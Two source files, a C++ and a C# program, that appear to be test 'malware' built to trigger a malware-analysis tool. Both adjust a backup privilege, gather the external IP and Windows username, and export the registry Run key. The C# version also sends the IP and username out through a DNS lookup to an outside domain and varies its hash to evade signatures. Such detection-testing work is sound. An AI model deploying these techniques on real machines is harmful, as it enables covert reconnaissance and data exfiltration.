> #cat /path/malware_eicar.cs

/*

MAATrigger-Payload - John Payne
------------------------

Windows C++ executable - once executed it will perform the following,
closly matching original C# code. Targeted for Windows 7+ operating systems

What this code does:
- Gain privs to allow registry access
- Connects to bot.whatismyipaddress.com & and get IP
- Get current Windows user
- Write IP and Windows user to file (current DIR\drop.txt)
- Export registry keys to file (current DIR\export.reg)
- Create mutex "1234-7" - red flag in MAA
- Sleep for 60000ms

*/

#include
#include
#include "windows.h" // C++ Windows API
#include

#pragma comment(lib, "Ws2_32.lib") // winsock2 libary

using namespace std;

bool gainPriv();

int main() {
cout << "Blessings Payload Application\n";

/* Gain the neccessary priv's to perform admin functions on Windows
------------------------------------------------------------------*/

cout << "Escalating privileges if possible...\n";
if (gainPriv()) {
cout << "Privileges escalated successfully.\n";
}
else {
cout << "Could not escalate privileges. Likely running as locked down user with limited OS access, or other security mechanisms in place.\n";
}

/* located external IP address. Note very little error checking here
------------------------------------------------------------------ */

WSADATA wsaData;
sockaddr_in serverInfo;
char request[] = "GET / HTTP/1.0\r\nHost: bot.whatismyipaddress.com\r\nUser-Agent: Blessings\r\nConnection: Close\r\n\r\n";
char recvBuf[512] = "";
serverInfo.sin_family = AF_INET;
serverInfo.sin_addr.s_addr = inet_addr("66.171.248.178"); // bot.whatismyipaddress.com
serverInfo.sin_port = htons(80);

int err = WSAStartup(MAKEWORD(2,2), &wsaData);
int sockfd = ::socket(AF_INET, SOCK_STREAM, 0);
err = ::connect(sockfd, (SOCKADDR *)&serverInfo, sizeof(serverInfo));

err = ::send(sockfd, request, (int)strlen(request), 0);

// recv loop, server *Should* respect the Connection: close header so this can be kept simple
do {
err = recv(sockfd, recvBuf, 512, 0);
if (err > 0)
cout << "Recieved " << err << "OK.\n";
else if (err == 0)
cout << "Connection gracefully closed.\n";
else
cout << "Something went wrong with recv()\n";

} while (err > 0);

WSACleanup();

/* Get Windows Username
------------------------------------------------------------------*/

char currentUser[128];
DWORD userSize = 512;
int ret = GetUserNameA(currentUser, &userSize);
if (ret == 0) {
cout << "Error with username: " << GetLastError() << endl;
}
cout << "Current user is " << currentUser << endl;

/* Write IP and username to a file
------------------------------------------------------------------*/

ofstream outFile;
outFile.open("drop.txt", ios::out);
outFile << "Dropped by MAATrigger-Payload\nUsername: " << currentUser << endl;
outFile << "External IP: " << recvBuf << endl;
outFile.close();


/* perform registry query and export to current DIR\export.reg
------------------------------------------------------------------*/

REGSAM regAccess = KEY_READ;
HKEY keyResult;
LONG lresult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, regAccess, &keyResult);
if (lresult == ERROR_SUCCESS) {
cout << "Opened key OK.\n";
}
else {
cout << "Failed to open key.\n";
}
LONG saveResult = RegSaveKeyEx(keyResult, TEXT("export.reg"), NULL, REG_STANDARD_FORMAT);
if (saveResult == ERROR_SUCCESS) {
cout << "Saved keys OK.\n";
}
else {
cout << "Failed to save keys. Error " << saveResult << endl;
}

/* Create Windows Mutex
------------------------------------------------------------------*/

HANDLE mytex = CreateMutex(NULL, TRUE, "1234-7");
if (mytex == NULL) {
cout << "Error creating mutex.\n";
}
else {
cout << "Mutex created OK.\n";
}
ReleaseMutex(mytex);

/* perform sleep for 60 seconds
------------------------------------------------------------------*/

Sleep(60000);

// all done!

return 0;
}

bool gainPriv() {

HANDLE hToken = NULL;
TOKEN_PRIVILEGES newState;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
cout << "Failed OpenProcessToken.\n";
return false;
}

if (!LookupPrivilegeValue(NULL, SE_BACKUP_NAME, &luid))
{
CloseHandle(hToken);
printf("Failed LookupPrivilegeValue\n");
return false;
}


newState.PrivilegeCount = 1;
newState.Privileges[0].Luid = luid;
newState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

// Adjust the token privilege.
if (!AdjustTokenPrivileges(hToken, FALSE, &newState, 0, NULL, NULL))
{
printf("Failed AdjustTokenPrivileges\n");
return false;
}

// Close the handle.
CloseHandle(hToken);

return true;
}

> #cat /path/malware_eicar.cs

using System;
using System.Net;
using System.Web;
using System.Text;
using System.Text.RegularExpressions;
using System.Diagnostics;
using System.ComponentModel;

namespace blessings.Mono.Eicar
{
public class HelloMalware
{
public static void Main(string[] args)
{
Console.Write("I'm up to no good");
Console.Write("dynamic=ffc89310d674302ab4c8745409994bf9"); //Hash derived from system clock to keep exe hash changing
WebClient webClient = new WebClient();
byte[] myIp = webClient.DownloadData("http://bot.whatismyipaddress.com/");

string[] output = new string[5];
output[0] = System.Text.Encoding.Default.GetString(myIp);
output[1] = System.Security.Principal.WindowsIdentity.GetCurrent().Name;

System.IO.File.WriteAllLines(@"./scraped_info.txt",output) ;
System.IO.File.WriteAllText(@"./fake_rasauto32.dll",":)") ;

Export(@".\export.reg", @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run");

IPHostEntry hostInfo = Dns.GetHostEntry(output[0]+".infected.7blessings.co.uk");

System.Threading.Mutex _mutey = null;
_mutey = new System.Threading.Mutex(false, "1234-7");

Console.Write(System.Environment.NewLine+"Finished");
Console.ReadLine();
System.Threading.Thread.Sleep(60000);
}

private static void Export(string exportPath, string registryPath)
{
string path = "\""+ exportPath + "\"";
string key = "\""+ registryPath + "\"";
Process proc = new Process();

try
{
proc.StartInfo.FileName = "regedit.exe";
proc.StartInfo.UseShellExecute = false;

proc = Process.Start("regedit.exe", "/e " + path + " "+ key);
proc.WaitForExit();
}
catch (Exception)
{
proc.Dispose();
}
}

}
}